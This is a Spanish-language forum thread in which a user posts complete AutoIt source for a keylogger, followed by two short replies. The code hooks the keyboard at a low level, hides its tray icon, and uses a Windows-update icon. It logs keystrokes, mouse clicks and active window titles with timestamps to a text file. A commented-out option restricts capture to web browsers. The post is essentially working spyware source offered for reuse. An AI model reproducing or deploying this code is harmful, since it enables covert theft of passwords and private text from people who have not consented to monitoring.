Keylogger - by Yasmany 7/10 :D

y programas personales para otros como tu, puede que te corrijan ;)
Responder
Avatar de Usuario
yasmany
Hacker del Foro
Mensajes: 249
Registrado: 06 Sep 2011, 21:30

Keylogger - by Yasmany 7/10 :D

Mensaje por yasmany »

Un buen dia,tarde,noche, dejo por aqui algo que recien he terminado, espero pueda de ser utilidad para alguien y lo pueda modificar como mas guste.
SI ES NECESARIO BORRAR EL POST, haganlo nomás, no hay resentimiento :smt002 comprendo.

CARACTERISTICAS
- Cada cierto tiempo comprueba el tiempo transcurrido de la pulsacion de la ultima tecla con el fin de imprimir palabras completas. (espero hacerme entender)
- Por cada cambio de ventana imprime lo escrito con el titulo de la ventana en la que se escribió. (No importa si hizo clic o utilizo CTRL+TAB)
- Registra solo un espacio, asi haya pulsado varias veces, el sw hace comprobaciones simples y no registra en exceso solo esas pulsaciones de espacio.
- Borrado simple, osea que si el usuario está tecleando y presiona BORRAR, va eliminando los ultimos caracteres conforme las pulsaciones de eraser.
- Registra en un archivo "RegistroKeylogger.txt"
Entre otras...

DESVENTAJAS
- No captura letras con tildes
- No captura combinaciones de teclas
- Muchas desventajas mas, posibles por encontrar.

PD.: Si alguien pudiese mejorarle, enhorabuena :smt023 :smt024
EDIT: CORREGIDO ALGUNAS COSILLAS

Código: Seleccionar todo

#NoTrayIcon
#Region ;**** Directives created by AutoIt3Wrapper_GUI ****
#AutoIt3Wrapper_Icon=iconos\winUpdate.ico
#EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****

#include <WinAPISys.au3>
#include <WinAPIvkeysConstants.au3>
#include <StructureConstants.au3>
#include <WinAPI.au3>
#include <WindowsConstants.au3>
#include <Misc.au3>
#include <WinAPIDiag.au3>
#include <Process.au3>
#include <WinAPIShPath.au3>
#include <APISysConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WinAPIGdi.au3>
#include <WinAPIMisc.au3>

_Singleton('KeyLogger')

Global Const $sFilePath = @ScriptDir & '\RegistroKeylogger.txt'

;-------------------------------------------------------------------------------------------------------
Global $tRID = DllStructCreate($tagRAWINPUTDEVICE)
DllStructSetData($tRID, 'UsagePage', 0x01) ; Generic Desktop Controls
DllStructSetData($tRID, 'Usage', 0x02) ; Mouse
DllStructSetData($tRID, 'Flags', $RIDEV_INPUTSINK)
DllStructSetData($tRID, 'hTarget', GUICreate('Test ', 1, 1))

_WinAPI_RegisterRawInputDevices($tRID) ; Register HID input to obtain row input from mice
GUIRegisterMsg($WM_INPUT, 'WM_INPUT')
;-------------------------------------------------------------------------------------------------------

Global $g_hHook, $g_hStub_KeyProc, $g_sBuffer = ""
Global $UserDLL = DllOpen("user32.dll")
Global $almacen, $finalizar
Global $time
Global $nombreVentanaReferenciaIngresoTexto
Global $auxAlmacen, $nombreVentana

AdlibRegister("cerrarAsunto", 30000)

Ejecutar()

Func Ejecutar()
	OnAutoItExitRegister("Cleanup")
	Local $hMod
	$g_hStub_KeyProc = DllCallbackRegister("_KeyProc", "long", "int;wparam;lparam")
	$hMod = _WinAPI_GetModuleHandle(0)
	$g_hHook = _WinAPI_SetWindowsHookEx($WH_KEYBOARD_LL, DllCallbackGetPtr($g_hStub_KeyProc), $hMod)

	While 1

		If $finalizar = "cerrar" Then
			almacenar("")
		Else
			nombreVentanaActiva()
			If ($nombreVentanaReferenciaIngresoTexto <> "") And ($nombreVentana <> $nombreVentanaReferenciaIngresoTexto) Then
				If StringLen($almacen) > 0 Then
					cerrarAsunto()
				EndIf
			EndIf
		EndIf
		Sleep(10)
	WEnd
EndFunc   ;==>Ejecutar

Func _KeyProc($nCode, $wParam, $lParam)
	Local $tKEYHOOKS

	$tKEYHOOKS = DllStructCreate($tagKBDLLHOOKSTRUCT, $lParam)
	If $nCode < 0 Then
		Return _WinAPI_CallNextHookEx($g_hHook, $nCode, $wParam, $lParam)
	EndIf
	Local $vk = DllStructGetData($tKEYHOOKS, "vkCode")
	Local $aOnOff[2] = ['OFF', 'ON']

	If $wParam = $WM_KEYDOWN Then
	Else
		Local $iFlags = DllStructGetData($tKEYHOOKS, "flags")

		If _IsPressed("12", $UserDLL) And _IsPressed("51", $UserDLL) Then
			almacenar("@")
		ElseIf _IsPressed("A0", $UserDLL) And _IsPressed('BC', $UserDLL) Then
			almacenar(";")
		ElseIf _IsPressed("A0", $UserDLL) And _IsPressed("BD", $UserDLL) Then
			almacenar("_")
			Sleep(100)
		ElseIf _IsPressed("A0", $UserDLL) And _IsPressed("BE", $UserDLL) Then
			almacenar(":")
			Sleep(100)
		ElseIf _IsPressed('12', $UserDLL) Then
			If _IsPressed('66', $UserDLL) Then
				If _IsPressed('64', $UserDLL) Then
					almacenar('@')
				EndIf
			EndIf
		Else
			If $vk >= 0x41 And $vk <= 0x5A Then ;alfabeto
				If $aOnOff[BitAND(_WinAPI_GetKeyState(0x14), 1)] = 'OFF' Then
					almacenar(StringLower(Chr($vk)))
				Else
					almacenar(StringUpper(Chr($vk)))
				EndIf
			ElseIf $vk = 0x20 Then ;espacio
				almacenar(' ')
			ElseIf $vk = 0x0D Then ;ENTER
				almacenar(" -- ") ;(@CRLF)
			ElseIf $vk >= 0x30 And $vk <= 0x39 Then ;numerosTeclado
				almacenar(Chr($vk))
			ElseIf $vk >= 0x60 And $vk <= 0x69 Then ; numero NumPad
				almacenar(StringTrimLeft(Hex($vk), 15))
			ElseIf $vk = 0x09 Then ;TAB
				almacenar(" ") ;(@TAB)
			ElseIf $vk >= 0x6A And $vk <= 0x6E Then
				If $vk = 0x6A Then almacenar('*')
				If $vk = 0x6B Then almacenar('+')
				If $vk = 0x6C Then almacenar('SEPARATOR KEY')
				If $vk = 0x6D Then almacenar('-')
				If $vk = 0x6E Then almacenar('.')

			ElseIf $vk >= 0xBA And $vk <= 0xBF Then
				If $vk = 0xBA Then almacenar(':')
				If $vk = 0xBB Then almacenar('+')
				If $vk = 0xBC Then almacenar(',')
				If $vk = 0xBD Then almacenar('-')
				If $vk = 0xBE Then almacenar('.')
				If $vk = 0xBF Then almacenar('/')

			ElseIf $vk = '192' Then
				If $aOnOff[BitAND(_WinAPI_GetKeyState(0x14), 1)] = 'OFF' Then
					almacenar(StringLower('ñ'))
				Else
					almacenar(StringUpper('ñ'))
				EndIf
			ElseIf $vk = 164 Then
;~ 				almacenar('@')
			Else
				If $vk = 188 Then almacenar(',')
				If $vk = 190 Then almacenar('.')
				If $vk = 189 Then almacenar('-')
				If $vk = 222 Then almacenar('{')
				If $vk = 191 Then almacenar('}')
				If $vk = 186 Then almacenar('´')
				If $vk = 220 Then almacenar('|')
				If $vk = 219 Then almacenar("'") ; comilla simple
				If $vk = 221 Then almacenar('¿') ;
				If $vk = 106 Then almacenar('*')
				If $vk = 109 Then almacenar('-')
				If $vk = 8 Then ; almacenar(' ') ;espacio
					$almacen = StringTrimRight($almacen, 1)
				EndIf
				If $vk = 13 Then almacenar(" -- ") ;ENTER
			EndIf
		EndIf
	EndIf
EndFunc   ;==>_KeyProc
;
Func nombreVentanaActiva()
	Local $aList = WinList()

	For $i = 1 To $aList[0][0]
		If $aList[$i][0] <> "" And BitAND(WinGetState($aList[$i][1]), 2) Then
			If WinActive($aList[$i][0]) Then
				$nombreVentana = $aList[$i][0]
			EndIf
		EndIf
	Next
	Return $nombreVentana
EndFunc   ;==>nombreVentanaActiva

Func almacenar($aux)
	Local $hFileOpen
	$nombreVentanaReferenciaIngresoTexto = $nombreVentana

	If StringRight($almacen, 1) = " " And $aux = " " Then
		; al quitar toda esta condicional, registra todos los espacios que se pulsen, para que registre todos
		; los espacios debe quedar solo $almacen &= $aux
	Else
		$almacen &= $aux
	EndIf

	$time = Number(@HOUR & @MIN & @SEC)

	If $finalizar = "cerrar" Then
		If StringLen($almacen) > 0 And $almacen <> " " Then

			ConsoleWrite($almacen)

			$hFileOpen = FileOpen(@ScriptDir & '\RegistroKeylogger.txt', $FO_APPEND)
			If $hFileOpen = -1 Then
				Return False
			Else
				If Not FileWrite($hFileOpen, $almacen) Then
					Return False
				Else
					$almacen = ''
					If $finalizar = 'cerrar' Then $finalizar = ''
				EndIf
			EndIf
			FileClose($hFileOpen)
		EndIf
	EndIf
EndFunc   ;==>almacenar

Func Cleanup()
	_WinAPI_UnhookWindowsHookEx($g_hHook)
	DllCallbackFree($g_hStub_KeyProc)
EndFunc   ;==>Cleanup

Func WM_INPUT($hWnd, $iMsg, $wParam, $lParam) ;REGISTRAR CLICK IZQUIERDO
	#forceref $iMsg, $wParam
	Local $tRIM = DllStructCreate($tagRAWINPUTMOUSE)
	If _WinAPI_GetRawInputData($lParam, $tRIM, DllStructGetSize($tRIM), $RID_INPUT) Then
		Local $iFlags = DllStructGetData($tRIM, 'Flags')
		$iFlags = DllStructGetData($tRIM, 'ButtonFlags')
		If BitAND($iFlags, $RI_MOUSE_LEFT_BUTTON_DOWN) Then

			If StringRight($almacen, 7) <> " -clk- " And StringLen($almacen) > 0 And Not StringIsSpace($almacen) Then

				$almacen &= " -clk- "

			EndIf
		EndIf
	EndIf
	Return $GUI_RUNDEFMSG
EndFunc   ;==>WM_INPUT

Func cerrarAsunto() ;@HOUR& @MIN &@SEC& @CRLF ;
	
;NOTA: Si habilitan lo que está en 
;comentarios, SOLO te registrará lo 
;que se haya escrito en algun navegador

	If (Number(@HOUR & @MIN & @SEC) - $time) > 5 Or ($nombreVentanaReferenciaIngresoTexto <> "" And $nombreVentana <> $nombreVentanaReferenciaIngresoTexto) Then
		If StringLen($almacen) > 0 Then

			If Not StringIsSpace($almacen) And $almacen <> " -- " Then

				If $auxAlmacen <> '' And StringInStr($auxAlmacen, $nombreVentanaReferenciaIngresoTexto) Then

;~ 					If StringInStr($auxAlmacen, "chrome") Or StringInStr($auxAlmacen, "Firefox") _
;~ 							Or StringInStr($auxAlmacen, "Opera") Or StringInStr($auxAlmacen, "Safari") _
;~ 							Or StringInStr($auxAlmacen, "Internet Explorer") Or StringInStr($auxAlmacen, "Microsoft Edge") Then

						$almacen = @CRLF & @HOUR & ":" & @MIN & "." & @SEC & @TAB & $almacen
						$finalizar = "cerrar"
;~ 					Else
;~ 						$almacen = ""
;~ 					EndIf

				Else

;~ 					If StringInStr($nombreVentanaReferenciaIngresoTexto, "chrome") Or StringInStr($nombreVentanaReferenciaIngresoTexto, "Firefox") _
;~ 							Or StringInStr($nombreVentanaReferenciaIngresoTexto, "Opera") Or StringInStr($nombreVentanaReferenciaIngresoTexto, "Safari") _
;~ 							Or StringInStr($nombreVentanaReferenciaIngresoTexto, "Internet Explorer") Or StringInStr($nombreVentanaReferenciaIngresoTexto, "Microsoft Edge") Then

						$almacen = @CRLF & @CRLF & "VENTANA.: - " & $nombreVentanaReferenciaIngresoTexto & @CRLF & @HOUR & ":" & @MIN & "." & @SEC & @TAB & $almacen
						$auxAlmacen = $almacen
						$finalizar = "cerrar"
;~ 					Else
;~ 						$auxAlmacen = ""
;~ 						$almacen = ""
;~ 					EndIf
				EndIf
			EndIf
		EndIf
	EndIf
EndFunc   ;==>cerrarAsunto
Saludos.
Obra de modo que merezcas a tu propio juicio y a juicio de los demás la eternidad, que te hagas insustituible que no merezcas morir.
https://www.facebook.com/yasmanycurimilma
mikirago
Mensajes: 6
Registrado: 11 Ago 2016, 09:05

Re: Keylogger - by Yasmany 7/10 :D

Mensaje por mikirago »

Buenos días,

Lo que no veo claro es como parar el programa.

Un saludo y gracias por tu aportación
botxtrem
Mensajes: 6
Registrado: 28 Mar 2017, 08:09
Ubicación: Nicaragua
Contactar:

Re: Keylogger - by Yasmany 7/10 :D

Mensaje por botxtrem »

interezante gracias por el codigo :smt023
Imagen
Responder